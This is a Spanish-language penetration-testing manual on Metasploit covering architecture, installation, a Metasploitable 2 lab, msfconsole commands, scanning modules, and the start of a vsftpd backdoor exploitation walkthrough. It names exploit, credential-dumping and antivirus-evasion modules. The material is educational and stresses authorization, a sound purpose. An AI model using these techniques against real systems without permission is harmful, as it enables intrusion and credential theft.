METASPLOIT

El Manual Definitivo

De la Teoría a la Práctica Avanzada

Alejandro G Vera

Metasploit: El Manual Definitivo de la Teoría a la Práctica Avanzada

Alejandro G Vera

Parte I: Fundamentos y Arquitectura del Framework

Capítulo 1: Introducción al Ecosistema Metasploit

1.1 Desmitificando Metasploit: Más Allá de una Simple Herramienta de Exploits

En el vasto universo de la ciberseguridad, pocas herramientas evocan una mezcla tan potente de respeto, curiosidad y, en ocasiones, aprensión como Metasploit. A menudo simplificado en la cultura popular como un mero repositorio de exploits, esta percepción subestima drásticamente su verdadera naturaleza y poder. Metasploit no es simplemente una colección de código malicioso; es un completo y sofisticado **framework de pruebas de penetración**. Su propósito fundamental es proporcionar a los profesionales de la seguridad informática una plataforma robusta y modular para investigar vulnerabilidades, desarrollar y ejecutar exploits, y validar las defensas de un sistema.

El verdadero valor de Metasploit reside en su arquitectura. Al ser un framework, ofrece una infraestructura estandarizada que automatiza muchas de las tareas repetitivas involucradas en un pentesting, permitiendo al analista concentrarse en la estrategia y en las particularidades del objetivo. Proporciona un entorno completo que abarca desde la fase de reconocimiento y escaneo hasta la post-explotación y la persistencia, integrando herramientas para la enumeración de redes, la ejecución de ataques y la evasión de sistemas de detección.

Más allá de su aplicación profesional, Metasploit se ha consolidado como un pilar en la formación de nuevos talentos en ciberseguridad. Su versatilidad y poder lo convierten en un entorno práctico ideal para aprender sobre la explotación de vulnerabilidades y las técnicas de hacking ético en un entorno controlado. Es, en esencia, el estándar de facto en la industria, una herramienta indispensable tanto para la defensa como para la educación en el campo de la seguridad ofensiva.

1.2 Evolución y Filosofía: De H.D. Moore a Rapid7

La historia de Metasploit es un reflejo de la propia evolución de la ciberseguridad. El proyecto fue concebido y creado originalmente por H.D. Moore en el año 2003. En sus inicios, fue escrito en el lenguaje de scripting Perl y lanzado con una modesta colección de 11 exploits. A pesar de su comienzo humilde, su filosofía de código abierto y su enfoque modular sentaron las bases para un crecimiento exponencial.

Un hito crucial en su desarrollo fue la decisión de reescribir completamente el framework en el lenguaje de programación Ruby. Este cambio no solo modernizó su base de código, sino que también facilitó una mayor extensibilidad y contribución por parte de la comunidad. La arquitectura modular, una de sus características más elogiadas, permite que nuevos exploits, payloads y módulos auxiliares se añadan, modifiquen y personalicen con relativa facilidad, adaptándose a un panorama de amenazas en constante cambio.

En 2009, el proyecto alcanzó un nuevo nivel de madurez y respaldo institucional con su adquisición por parte de Rapid7, una destacada empresa de ciberseguridad. Esta adquisición no solo aseguró la continuidad y el desarrollo profesional del framework, sino que también condujo a la creación de ediciones comerciales que complementan la versión de código abierto. Bajo la tutela de Rapid7, Metasploit ha seguido floreciendo, expandiendo su arsenal a más de 2000 módulos, incluyendo más de 1500 exploits, y herramientas avanzadas como las de *fuzzing* para el descubrimiento proactivo de vulnerabilidades. Hoy en día, cuenta con una

comunidad vibrante de más de 200,000 usuarios y contribuidores, consolidándose como la plataforma líder en su campo.

1.3 Análisis Comparativo: Metasploit Framework vs. Ediciones Comerciales (Pro)

Metasploit se presenta principalmente en dos ediciones que, aunque comparten el mismo motor de explotación, están dirigidas a públicos y casos de uso diferentes: Metasploit Framework y Metasploit Pro. Comprender sus diferencias es fundamental para seleccionar la herramienta adecuada para cada necesidad.

Metasploit Framework es la edición gratuita y de código abierto, el corazón del proyecto. Está diseñada para desarrolladores, investigadores de seguridad y profesionales que se sienten cómodos operando desde una interfaz de línea de comandos (CLI), la famosa msfconsole. Esta versión es ideal para la explotación manual, la fuerza bruta de credenciales manual, el desarrollo de exploits personalizados y la investigación profunda de vulnerabilidades. Ofrece un control granular y una flexibilidad máxima, pero requiere un mayor conocimiento técnico para su operación eficiente.

Metasploit Pro, por otro lado, es la edición comercial desarrollada por Rapid7. Está orientada a equipos de seguridad de TI y pentesters profesionales que necesitan optimizar sus flujos de trabajo y generar resultados para entornos corporativos. Su principal diferenciador es una intuitiva interfaz gráfica de usuario (GUI) basada en web, que simplifica enormemente muchas tareas. Metasploit Pro introduce potentes capacidades de automatización, como la "Explotación Inteligente" (*Smart Exploitation*), que correlaciona vulnerabilidades con exploits relevantes, y las "Cadenas de Tareas" (*Task Chains*) para automatizar flujos de trabajo personalizados. Además, ofrece funcionalidades avanzadas como la fuerza bruta de credenciales automatizada, la generación de informes detallados para auditorías, la validación de vulnerabilidades de circuito cerrado para priorizar la remediación y una gestión de campañas de phishing más robusta.

Para completar el contexto histórico, existieron ediciones intermedias como **Metasploit Community** y **Metasploit Express**, que ofrecían una GUI gratuita y funcionalidades comerciales de nivel de entrada, respectivamente. Sin embargo, ambas fueron descontinuadas en 2019, consolidando la oferta en las dos ediciones principales: Framework y Pro.

La elección entre Framework y Pro no es una cuestión de "mejor" o "peor", sino de adecuación al propósito. Mientras que los profesionales experimentados a menudo prefieren la velocidad y el control de la msfconsole del Framework para tareas específicas, los equipos de seguridad corporativos se benefician enormemente de la automatización, la gestión de proyectos y las capacidades de reporte de la versión Pro, que justifican su coste comercial.

Tabla 1: Comparativa de Ediciones: Metasploit Framework vs. Metasploit Pro

Característica	Metasploit Framework	Metasploit Pro
Costo	Gratuito y de código abierto	Comercial (licencia de pago)
Interfaz Principal	Línea de comandos (msfconsole)	GUI Web + CLI Avanzada (Pro Console)
Público Objetivo	Desarrolladores, investigadores, pentesters individuales	Equipos de seguridad de TI, consultores de pentesting
Automatización	Manual, a través de scripts de recursos (.rc)	Avanzada (Smart Exploitation, Task Chains, Wizards)
Generación de Informes	No integrada (requiere	Informes de auditoría y

Característica	Metasploit Framework	Metasploit Pro
	herramientas externas)	pentesting integrados y personalizables
Gestión de Vulnerabilidades	Importación de datos de escáneres	Validación de vulnerabilidades de circuito cerrado, integración con Nexpose
Fuerza Bruta de Credenciales	Manual	Automatizada e inteligente
Campañas de Phishing	Limitada (requiere integración con herramientas como SET)	Gestión de campañas y concienciación integradas
Descubrimiento de Red	Básico (integración con Nmap)	Descubrimiento de red y de aplicaciones web avanzado

1.4 El Imperativo Ético: Marco Legal y Responsabilidad en el Uso de Metasploit

El poder de Metasploit es innegable, pero con gran poder conlleva una gran responsabilidad. Es una herramienta de doble filo: un instrumento esencial en manos de un profesional de la seguridad para fortalecer las defensas de una organización, y una arma peligrosa en manos de un actor malicioso. La legitimidad de su uso no reside en la herramienta en sí, sino en el estricto marco ético y legal que debe regir cada una de sus acciones.
La distinción fundamental entre un hacker ético (o pentester) y un ciberdelincuente se basa en tres pilares inquebrantables :

1. **Legalidad y Consentimiento:** Un hacker ético opera siempre con una **autorización explícita, formal y por escrito** del propietario de los sistemas a evaluar. Cualquier acceso no autorizado a sistemas informáticos, independientemente de la intención, puede constituir un delito grave con severas consecuencias penales.
2. **Intención:** El objetivo de un pentester es identificar debilidades para **proteger y fortalecer** la seguridad de una organización. La intención es constructiva. Por el contrario, un actor malicioso busca dañar, robar o lucrarse a través de la explotación de esas mismas debilidades.
3. **Alcance Definido:** Toda prueba de penetración ética se rige por un **alcance claramente delimitado y acordado previamente** en un contrato. Este documento debe especificar qué sistemas se pueden probar, qué técnicas están permitidas (y cuáles están prohibidas, como los ataques de denegación de servicio que podrían interrumpir la operativa), y los horarios en los que se realizarán las pruebas.

El uso irresponsable de Metasploit acarrea riesgos significativos. Más allá de la responsabilidad penal, puede suponer la infracción de normativas de protección de datos como el RGPD o la LOPD-GDD si se accede o altera información personal sin las salvaguardas adecuadas. Además, la falta de un contrato formal puede derivar en disputas legales y la pérdida de la cobertura de los seguros de ciberseguridad, que a menudo excluyen incidentes derivados de pruebas no autorizadas o mal documentadas.
Por lo tanto, es imperativo que cada ejemplo y cada técnica descrita en este manual se entienda dentro del contexto de un pentesting autorizado. La herramienta no define la ética; la define el profesional que la maneja, el contrato que lo respalda y la metodología que sigue. La dualidad de Metasploit no es un defecto, sino un recordatorio constante de que la línea entre la defensa y el ataque es una cuestión de permiso y propósito.

Capítulo 2: Anatomía de Metasploit Framework

2.1 La Arquitectura Modular: Un Diseño para la Extensibilidad

Para dominar Metasploit, es esencial comprender su arquitectura interna. Lejos de ser una aplicación monolítica, el Metasploit Framework (MSF) está diseñado como un sistema altamente modular, una cualidad que le confiere una flexibilidad y capacidad de expansión extraordinarias. Esta arquitectura permite que diferentes componentes, desde exploits hasta escáneres, se desarrollen de forma independiente y se integren sin problemas en el núcleo del sistema. La reutilización de código es un principio central, lo que acelera el desarrollo de nuevos módulos y garantiza una funcionalidad consistente en todo el framework.
La estructura de Metasploit puede visualizarse como una jerarquía de capas interconectadas. En el nivel más alto se encuentran las **Interfaces**, que son los puntos de entrada para el usuario, como la msfconsole. Estas interfaces interactúan con un conjunto de **Librerías** fundamentales que proporcionan la lógica y las APIs necesarias para operar. A su vez, estas librerías son utilizadas por los **Módulos**, que son las piezas de software que ejecutan las tareas específicas de un pentest, como explotar una vulnerabilidad o escanear una red. Los **Plugins** actúan como extensiones que pueden añadir funcionalidades o integrarse con herramientas externas, completando este ecosistema dinámico.

2.2 El Corazón del Framework: Librerías REX, Core y Base

En el núcleo de Metasploit residen un conjunto de librerías escritas en Ruby que constituyen la base sobre la que se construye todo lo demás. Estas librerías abstraen la complejidad de las operaciones de bajo nivel, permitiendo a los desarrolladores de módulos centrarse en la lógica de la vulnerabilidad en lugar de en los detalles de la implementación de la red o la codificación de datos.

- **REX (Ruby Extension Library):** Esta es la librería más fundamental del framework. REX es el motor que impulsa la mayoría de las tareas de bajo nivel. Proporciona un conjunto completo de clases y métodos para manejar operaciones críticas como la creación y gestión de sockets de red (TCP, UDP, SSL), la implementación de protocolos de aplicación (HTTP, SMB, FTP, DNS), la codificación y decodificación de datos (Base64, hexadecimal, XOR), la manipulación de archivos en sistemas remotos y funciones criptográficas. Sin REX, cada módulo tendría que reinventar la rueda para comunicarse a través de la red o para ofuscar sus payloads, lo que haría el desarrollo infinitamente más complejo y propenso a errores.
- **MSF Core (Metasploit Framework Core):** Construida sobre REX, esta librería proporciona la API básica del framework. Define la estructura fundamental de los módulos y las sesiones, y ofrece las rutinas esenciales que los desarrolladores utilizan para interactuar con el núcleo de Metasploit. Es la capa que conecta la lógica de alto nivel de un módulo con las capacidades de bajo nivel de REX.
- **MSF Base (Metasploit Framework Base):** Esta librería actúa como el pegamento que une todo el sistema. Gestiona la configuración global del framework, los recursos compartidos, la interacción con la base de datos y la carga de módulos y plugins. MSF Base utiliza las APIs proporcionadas por MSF Core para orquestar el funcionamiento general de la plataforma.

2.3 El Arsenal Modular: Un Vistazo Profundo a los Módulos

Los módulos son el alma de Metasploit; son las herramientas individuales que un pentester utiliza para llevar a cabo las distintas fases de un ataque. El framework organiza estos módulos en categorías claras según su propósito, creando un arsenal lógico y fácil de navegar.

- **Exploits:** Estos son los módulos más conocidos. Un exploit es un fragmento de código diseñado para aprovechar una vulnerabilidad específica en un software, sistema operativo o servicio con el fin de obtener acceso no autorizado o ejecutar código en el sistema objetivo. El framework cuenta con un vasto repositorio de más de 2.160 exploits que cubren una amplia gama de plataformas, desde Windows y Linux hasta aplicaciones web y sistemas móviles.
- **Payloads:** Si el exploit es la llave que abre la puerta, el payload (o "carga útil") es lo que se hace una vez dentro. Es el código que se ejecuta en el sistema objetivo *después* de que el exploit haya tenido éxito. Los payloads definen la acción maliciosa a realizar, como abrir un shell remoto, crear un usuario o exfiltrar datos. Se dividen en tres tipos principales:
    - **Singles:** Payloads autónomos que contienen tanto el exploit como el shellcode en un solo paquete. Son estables pero a menudo de mayor tamaño.
    - **Stagers:** Pequeños y fiables, su única función es establecer una conexión de red entre el atacante y la víctima para luego descargar un payload más grande y complejo.
    - **Stages:** Son los componentes del payload que son descargados por los *stagers*. Permiten funcionalidades avanzadas y sin límite de tamaño, como el popular **Meterpreter**.
- **Auxiliary:** Estos módulos realizan acciones que no implican una explotación directa para obtener un shell. Su ámbito es muy amplio e incluye tareas de reconocimiento como escáneres de puertos, escáneres de vulnerabilidades, herramientas de *fuzzing*, módulos de denegación de servicio (DoS) y herramientas de recolección de información (como hacking con buscadores).
- **Post:** Los módulos de post-explotación se utilizan *después* de haber comprometido un sistema y tener una sesión activa (por ejemplo, una sesión de Meterpreter). Permiten realizar una amplia gama de acciones en el sistema objetivo, como escalar privilegios, pivotar a otras redes, volcar hashes de contraseñas, registrar pulsaciones de teclado, establecer persistencia y recopilar información sensible.
- **Encoders:** Su función es ofuscar los payloads para evadir la detección por parte de software de seguridad, como los antivirus, que se basan en firmas. Los encoders modifican el shellcode del payload para que su firma no coincida con las bases de datos de malware conocido, aunque no alteran su funcionalidad final.
- **Nops (No Operation):** Un NOP es una instrucción de ensamblador que no hace nada. Los generadores de NOPs en Metasploit producen una secuencia de estas instrucciones (un "NOP sled" o trineo de NOPs) que se antepone al payload. Su propósito es aumentar la fiabilidad de los exploits de desbordamiento de búfer, asegurando que aunque el puntero de ejecución no aterrice exactamente al inicio del payload, se deslice por el "trineo" hasta alcanzar el código ejecutable, evitando así que el programa se bloquee.

Tabla 2: El Arsenal de Módulos de Metasploit

Tipo de Módulo	Propósito Principal	Ejemplo de Uso
Exploit	Aprovechar una vulnerabilidad para obtener acceso.	Usar ms17_010_eternalblue para comprometer un sistema Windows vulnerable.
Payload	Ejecutar código en el sistema objetivo tras la explotación.	Obtener una sesión de Meterpreter para control remoto avanzado.
Auxiliary	Realizar escaneos, fuzzing, reconocimiento y otras acciones sin explotación.	Escanear puertos abiertos en un rango de IPs con tcp_portscan.
Post	Realizar acciones en un sistema ya comprometido (sesión activa).	Volcar hashes de contraseñas con post/windows/gather/hashdump.
Encoder	Ofuscar payloads para evadir la detección de antivirus.	Codificar un payload con x86/shikata_ga_nai para evitar firmas.
Nop	Añadir relleno de memoria para aumentar la fiabilidad de los exploits.	Mantener un tamaño de payload constante y estabilizar exploits de buffer overflow.

2.4 Interfaces y Herramientas: msfconsole, msfvenom, y Ecosistema Extendido

Metasploit ofrece varias formas de interactuar con su potente motor, adaptándose a diferentes necesidades y flujos de trabajo.

- **msfconsole:** Es la interfaz de línea de comandos principal y la más utilizada. Proporciona un entorno interactivo "todo en uno" con autocompletado por tabulación, historial de comandos y acceso a todas las funcionalidades del framework. Es la herramienta preferida por la mayoría de los profesionales por su velocidad, control y estabilidad.
- **msfvenom:** Es una herramienta de línea de comandos independiente que fusiona las funcionalidades de las antiguas msfpayload y msfencode. Su único propósito es la generación de payloads. Permite crear shellcode, ejecutables y scripts maliciosos en una amplia variedad de formatos, con opciones para codificarlos y personalizarlos para diferentes plataformas y arquitecturas. Es una herramienta indispensable para crear los artefactos que se entregarán en ataques de cliente o para exploits manuales.
- **Interfaces Gráficas (GUI):** Para aquellos que prefieren una aproximación más visual, existen interfaces gráficas que actúan como un *frontend* para Metasploit. La más conocida es **Armitage**, una herramienta de gestión de ciberataques que visualiza los objetivos en una red, recomienda exploits y facilita la colaboración en equipo (*red teaming*). Aunque la versión Pro de Metasploit tiene su propia GUI web, Armitage sigue siendo una opción popular para la versión Framework.
- **Plugins e Integraciones:** La arquitectura de Metasploit está diseñada para la sinergia. A través de plugins, puede integrarse y compartir datos con otras herramientas de seguridad esenciales. Por ejemplo, puede importar los resultados de escáneres de vulnerabilidades como **Nessus** u **OpenVAS**, o utilizar la potencia del escáner de puertos

Nmap directamente desde la msfconsole y almacenar los resultados en su base de datos, creando un flujo de trabajo de pentesting unificado y altamente eficiente.

Capítulo 3: Instalación y Configuración del Entorno de Pruebas

3.1 Guía de Instalación Multiplataforma

Instalar Metasploit Framework es un proceso relativamente sencillo gracias a los instaladores oficiales proporcionados por Rapid7, que empaquetan todas las dependencias necesarias, como Ruby y PostgreSQL. Sin embargo, existen consideraciones importantes para cada plataforma.

- **Instalación en Windows:** Aunque es posible instalar Metasploit en Windows, no suele ser la plataforma de elección para los profesionales, ya que muchas herramientas de soporte y utilidades del ecosistema de seguridad están diseñadas para Linux. El proceso implica:
    1. Descargar el instalador .msi desde el sitio web de Rapid7 o el enlace directo.
    2. **Paso Crítico:** Antes de la instalación, es imperativo **deshabilitar temporalmente cualquier software antivirus y firewall local**. El antivirus detectará los componentes de Metasploit como maliciosos por su propia naturaleza (ya que contienen exploits y shellcode), lo que interrumpirá la instalación o el funcionamiento posterior. Si no es posible deshabilitarlos, se deben crear exclusiones para el directorio de instalación (por defecto C:\metasploit-framework).
    3. Ejecutar el instalador con privilegios de administrador.
    4. Seguir el asistente de instalación, aceptando la licencia y eligiendo el directorio de destino.
    5. Una vez instalado, se puede lanzar la consola con el archivo msfconsole.bat.
- **Instalación en Linux (Debian/Ubuntu/Kali):** Linux, y en particular distribuciones orientadas a la seguridad como Kali Linux, es el entorno nativo y recomendado para Metasploit.
    1. **En Kali Linux:** Metasploit Framework viene preinstalado o se puede instalar fácilmente a través del gestor de paquetes apt con el comando sudo apt install metasploit-framework. Esta es la forma más sencilla y recomendada para los usuarios de Kali.
    2. **Instalador Oficial de Rapid7:** Para otras distribuciones basadas en Debian/Ubuntu, Rapid7 proporciona un script de instalación de una sola línea que añade el repositorio y instala el paquete. El comando es: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall &&./msfinstall.
    3. **Snap Store:** Otra opción para distribuciones modernas de Linux es instalarlo como un paquete Snap: sudo snap install metasploit-framework.
    4. **Desde Fuentes:** Los usuarios avanzados pueden clonar el repositorio de GitHub y gestionar las dependencias manualmente, lo que ofrece la máxima flexibilidad para el desarrollo y la prueba de nuevas características.
- **Instalación en macOS:** La instalación en macOS también es sencilla gracias al instalador oficial.
    1. Descargar el paquete .pkg más reciente desde el enlace oficial:

https://osx.metasploit.com/metasploitframework-latest.pkg.
2. Ejecutar el instalador, que guiará al usuario a través del proceso. Es posible que la seguridad de macOS (Gatekeeper) bloquee la ejecución inicial, en cuyo caso se deberá permitir manualmente desde "Preferencias del Sistema" -> "Seguridad y Privacidad".
3. Una vez instalado, el ejecutable msfconsole se encontrará en /opt/metasploit-framework/bin/. Se recomienda añadir este directorio al PATH del sistema para poder invocarlo desde cualquier terminal.

3.2 Configuración Inicial Crítica: La Base de Datos PostgreSQL

Aunque Metasploit puede funcionar sin una base de datos, su uso es **altamente recomendable y prácticamente indispensable** para cualquier trabajo serio de pentesting. La base de datos, que por defecto es PostgreSQL, permite a Metasploit almacenar, gestionar y correlacionar toda la información recopilada durante una evaluación: hosts descubiertos, servicios, vulnerabilidades, credenciales obtenidas, botín (*loot*) y sesiones. Sin ella, se pierde la capacidad de organizar proyectos en *workspaces* y de utilizar muchas de las funciones de automatización y gestión de datos más potentes.
El proceso de inicialización es un paso único que se debe realizar después de la instalación:

1. **Iniciar el servicio PostgreSQL:** En la mayoría de los sistemas Linux, esto se hace con sudo systemctl start postgresql.
2. **Inicializar la base de datos de Metasploit:** Se utiliza el script msfdb proporcionado con el framework. El comando sudo msfdb init se encarga de todo el proceso: crea un usuario de base de datos (msf), crea las bases de datos necesarias (msf y msf_test para pruebas), y genera el archivo de configuración config/database.yml que Metasploit usará para conectarse.
3. **Verificar la conexión:** Una vez completada la inicialización, se debe lanzar msfconsole. Dentro de la consola, el comando db_status confirmará si la conexión se ha establecido correctamente. Una salida exitosa mostrará [*] postgresql connected to msf.

El script msfdb también proporciona otros comandos útiles para la gestión del servicio de base de datos, como msfdb start, msfdb stop, msfdb status (para comprobar el estado), msfdb delete (para eliminar la base de datos) y msfdb reinit (para borrar y volver a inicializar).

3.3 Creación de un Laboratorio Seguro: Despliegue de Metasploitable 2

La práctica del hacking ético exige un entorno donde se puedan probar técnicas y herramientas de forma segura y legal. La configuración de un laboratorio personal es, por tanto, el primer y más importante ejercicio de responsabilidad para cualquier aspirante a pentester. No se trata de un mero paso técnico, sino de la creación de un "dojo" o *sandbox* donde se pueden perfeccionar habilidades sin riesgo de infringir la ley o causar daños a sistemas de producción. Esta filosofía de "aprender haciendo" en un entorno controlado es promovida por los propios creadores de Metasploit.
La máquina virtual **Metasploitable 2** es la herramienta perfecta para este propósito. Es una distribución de Ubuntu Linux intencionadamente diseñada por Rapid7 para ser vulnerable, sirviendo como un objetivo de práctica ideal.
El proceso de configuración es el siguiente:

1. **Descarga:** Obtener la imagen de la máquina virtual desde el sitio oficial de Rapid7 o SourceForge.

2. **Importación:** Importar el archivo descargado en un software de virtualización como VirtualBox o VMware.
3. **Configuración de Red Segura:** Este es un paso crítico. La máquina virtual debe configurarse en un modo de red que la aísle de Internet y de otras redes de producción. Las opciones más seguras son **"Red NAT"** o **"Adaptador solo-anfitrión" (Host-only)**. Esto crea una red privada virtual entre la máquina atacante (ej. Kali Linux) y la máquina objetivo (Metasploitable 2), impidiendo cualquier exposición accidental.
4. **Inicio y Acceso:** Iniciar la máquina virtual. Las credenciales de inicio de sesión por defecto son msfadmin para el usuario y msfadmin para la contraseña.
5. **Obtención de la Dirección IP:** Una vez dentro de la consola de Metasploitable 2, ejecutar el comando ifconfig para averiguar la dirección IP que le ha sido asignada por el hipervisor. Esta IP será el RHOSTS (host remoto) en los futuros ataques de práctica.

Con este laboratorio configurado, el usuario dispone de un campo de pruebas legal y seguro para seguir los ejemplos prácticos de este manual y explorar las vastas capacidades de Metasploit de manera responsable.

Parte II: El Ciclo de Vida de un Pentest con Metasploit

Capítulo 4: Fase de Reconocimiento y Escaneo

4.1 Dominando msfconsole: Comandos Esenciales y Gestión de Workspaces

La msfconsole es el corazón palpitante de Metasploit Framework, la interfaz desde la cual el pentester orquesta cada fase del ataque. Dominar su uso es el primer paso hacia la maestría. La consola es un entorno de línea de comandos potente y flexible que ofrece autocompletado por tabulación, historial y acceso a miles de módulos.

El flujo de trabajo básico en la consola sigue un patrón lógico: buscar, seleccionar, configurar y ejecutar. Los comandos esenciales para esta secuencia son:

- search: Permite buscar módulos por nombre, tipo, plataforma, autor, CVE, etc. Es la herramienta principal para encontrar el exploit o módulo auxiliar adecuado para una tarea específica.
- use: Selecciona un módulo y lo carga en el contexto actual, cambiando el prompt para reflejar el módulo activo.
- info: Muestra información detallada sobre el módulo cargado, incluyendo su propósito, autor, opciones, objetivos y referencias a vulnerabilidades. Es una lectura obligatoria antes de ejecutar cualquier módulo.
- show options: Lista todas las opciones configurables para el módulo actual, indicando cuáles son requeridas (Required: yes) y sus valores actuales.
- set: Asigna un valor a una opción específica (ej. set RHOSTS 192.168.1.100). Para establecer una variable global que persista entre módulos, se utiliza setg.
- run o exploit: Ejecuta el módulo cargado con las opciones configuradas.

Una vez que un exploit tiene éxito, se crea una **sesión**. El comando sessions es vital para gestionar estas conexiones. sessions -l lista todas las sesiones activas, y sessions -i <ID> permite interactuar con una sesión específica. De manera similar, el comando jobs gestiona los módulos que se ejecutan en segundo plano (por ejemplo, un listener).

Con una base de datos configurada, Metasploit desbloquea una de sus características organizativas más potentes: los **workspaces**. Un workspace es un contenedor lógico que

permite separar los datos (hosts, servicios, credenciales) de diferentes pentests o fases de un mismo pentest. El comando workspace permite listar los espacios de trabajo existentes, crear nuevos (workspace -a <nombre>), cambiar entre ellos (workspace <nombre>) y eliminarlos (workspace -d <nombre>). Esta funcionalidad es crucial para mantener el orden y la claridad en evaluaciones complejas.

Tabla 3: Comandos Esenciales de msfconsole

Comando	Función	Ejemplo de Sintaxis
search	Busca módulos por palabra clave y tipo.	search type:exploit name:smb platform:windows
use	Selecciona y carga un módulo en el contexto.	use exploit/windows/smb/ms17_010_eternalblue
info	Muestra información detallada del módulo actual.	info
show options	Lista las opciones configurables del módulo.	show options
set / setg	Configura una opción de módulo (local / global).	set RHOSTS 192.168.1.10 / setg LHOST 192.168.1.100
run / exploit	Ejecuta el módulo cargado.	run
back	Sale del contexto del módulo actual.	back
sessions	Lista e interactúa con sesiones activas.	sessions -l / sessions -i 1
workspace	Gestiona los espacios de trabajo del proyecto.	workspace -a new_project
db_nmap	Ejecuta un escaneo Nmap y guarda los resultados en la BD.	db_nmap -sV -A 192.168.1.0/24
hosts	Muestra los hosts almacenados en la base de datos.	hosts
services	Muestra los servicios descubiertos en los hosts.	services -p 80 -u
creds	Muestra las credenciales capturadas y almacenadas.	creds
loot	Muestra el "botín" (información sensible) recolectado.	loot

4.2 Inteligencia Activa: Uso de Módulos Auxiliares

La fase de reconocimiento es la base sobre la que se construye un pentest exitoso. Metasploit ofrece un arsenal de módulos auxiliary que actúan como una navaja suiza para esta etapa, permitiendo realizar una amplia gama de tareas de escaneo y enumeración sin necesidad de salir del framework.

Ejemplo Práctico 1: Escaneo de Red Local con arp_sweep

Cuando el atacante se encuentra en la misma subred que sus objetivos (un escenario común en pruebas internas o después de un pivote inicial), un escaneo ARP es la forma más rápida y

sigilosa de descubrir hosts activos. El módulo auxiliary/scanner/discovery/arp_sweep está diseñado precisamente para esto.
El proceso de uso es el siguiente:

1. Cargar el módulo: use auxiliary/scanner/discovery/arp_sweep
2. Configurar el rango de red a escanear: set RHOSTS 192.168.1.0/24 (ajustar a la red del laboratorio).
3. Configurar el número de hilos para acelerar el escaneo: set THREADS 50
4. Ejecutar el escaneo: run

El módulo enviará peticiones ARP a cada dirección IP en el rango especificado y listará los hosts que respondan, indicando que están activos en la red.

Ejemplo Práctico 2: Escaneo de Puertos TCP

Una vez identificados los hosts activos, el siguiente paso es determinar qué servicios están ejecutando. Aunque Nmap es el estándar de la industria, Metasploit proporciona su propio escáner de puertos TCP, auxiliary/scanner/portscan/tcp, que es útil para escaneos rápidos o cuando se desea mantener toda la actividad dentro del framework.
El flujo de trabajo es similar:

1. Cargar el módulo: use auxiliary/scanner/portscan/tcp
2. Configurar los hosts objetivo: set RHOSTS <IP_Metasploitable2>
3. (Opcional) Especificar los puertos a escanear: set PORTS 1-10000 (por defecto escanea los más comunes).
4. Ejecutar el escaneo: run

La salida mostrará una lista de los puertos TCP abiertos en el host objetivo, proporcionando los primeros indicios de posibles vectores de ataque.

4.3 Sinergia con Nmap: Importación y Gestión de Resultados

Metasploit no busca reemplazar a Nmap, sino integrarse con él. La verdadera potencia se desata al combinar la capacidad de escaneo exhaustivo de Nmap con la gestión de datos y el motor de explotación de Metasploit.
Existen dos formas principales de lograr esta sinergia:

1. **db_nmap:** Este comando permite ejecutar Nmap directamente desde la msfconsole. La gran ventaja es que los resultados del escaneo (hosts, puertos abiertos, servicios, versiones, sistemas operativos) se guardan automáticamente en la base de datos de PostgreSQL del workspace activo. La sintaxis es idéntica a la de Nmap, simplemente se antepone db_nmap.
    - Ejemplo: db_nmap -sV -A <IP_Metasploitable2>
2. **db_import:** Si se ha realizado un escaneo con Nmap fuera de Metasploit y se ha guardado la salida en formato XML (-oX <archivo.xml>), se puede importar ese archivo directamente a la base de datos con el comando db_import <ruta_al_archivo.xml>.

Una vez que los datos están en la base de datos, se pueden consultar y gestionar con comandos específicos que demuestran el valor de esta integración:

- hosts: Muestra una tabla de todos los hosts descubiertos, con sus IPs, MACs y el sistema operativo identificado.
- services: Lista todos los servicios abiertos encontrados en los hosts, con sus puertos y versiones. Se puede filtrar por puerto (services -p 21), por protocolo, etc.
- vulns: Si se han importado resultados de un escáner de vulnerabilidades, este comando muestra las vulnerabilidades asociadas a cada host.

Esta capacidad de centralizar y consultar toda la información de reconocimiento convierte a

Metasploit en un verdadero centro de mando para el pentester, donde los datos de escaneo se convierten en inteligencia accionable para la siguiente fase: la explotación.

Capítulo 5: Fase de Explotación y Acceso Inicial

La fase de explotación es donde Metasploit brilla con más intensidad. Es el momento de convertir la inteligencia recopilada en acceso. Este capítulo guiará al usuario a través del proceso de seleccionar, configurar y lanzar exploits contra diferentes tipos de objetivos, utilizando la máquina Metasploitable 2 como nuestro campo de pruebas.

5.1 Selección y Configuración de Exploits

El éxito de un exploit depende de una selección y configuración meticulosas. El proceso general es el siguiente:

1. **Búsqueda del Exploit:** Utilizando la información de los servicios y versiones obtenida en la fase de reconocimiento (por ejemplo, "vsftpd 2.3.4" en el puerto 21), se utiliza el comando search para encontrar módulos de exploit relevantes. Por ejemplo: search type:exploit name:vsftpd.
2. **Análisis del Módulo:** Una vez identificado un candidato prometedor, se carga con use <nombre_del_modulo>. El siguiente paso, y uno de los más importantes, es usar el comando info. Este comando revela detalles cruciales: una descripción de la vulnerabilidad, los autores del módulo, las plataformas afectadas, las referencias (como CVEs) y, fundamentalmente, la lista de **objetivos (targets)** compatibles.
3. **Configuración de Opciones:** El comando show options lista las variables que deben ser configuradas. Las más comunes son :
    - RHOSTS: La dirección IP del host objetivo.
    - RPORT: El puerto del servicio vulnerable en el objetivo.
    - LHOST: La dirección IP de la máquina atacante, a la que el payload se conectará de vuelta (para payloads de conexión inversa).
    - LPORT: El puerto en la máquina atacante que escuchará la conexión inversa.
4. **Selección del Payload:** Cada exploit es compatible con una serie de payloads. El comando show payloads lista las opciones disponibles. La elección del payload es crítica; determina qué se podrá hacer una vez que el sistema esté comprometido. Un payload cmd/unix/interact proporciona un shell de comandos simple, mientras que un windows/meterpreter/reverse_tcp ofrece una sesión de Meterpreter mucho más potente y sigilosa. Se selecciona con set payload <nombre_del_payload>.

5.2 Estudio de Caso 1 (Servidor): Explotación de vsftpd_234_backdoor en Metasploitable 2

Este primer ejemplo práctico ilustra un ataque a un servicio de servidor clásico. La versión 2.3.4 del servidor FTP vsftpd distribuida en Metasploitable 2 contiene una puerta trasera intencionada. Si se envía un nombre de usuario que termina con :), el servicio abre un shell en el puerto 6200. Metasploit automatiza este proceso de forma transparente.

Pasos de la Explotación:

1. Iniciar msfconsole y asegurarse de que la base de datos esté conectada (db_status).
2. Buscar el exploit: msf6 > search vsftpd
3. Seleccionar el módulo: msf6 > use exploit/unix/ftp/vsftpd_234_backdoor.

4. Ver las opciones: msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options. Se observará que RHOSTS es la única opción requerida.
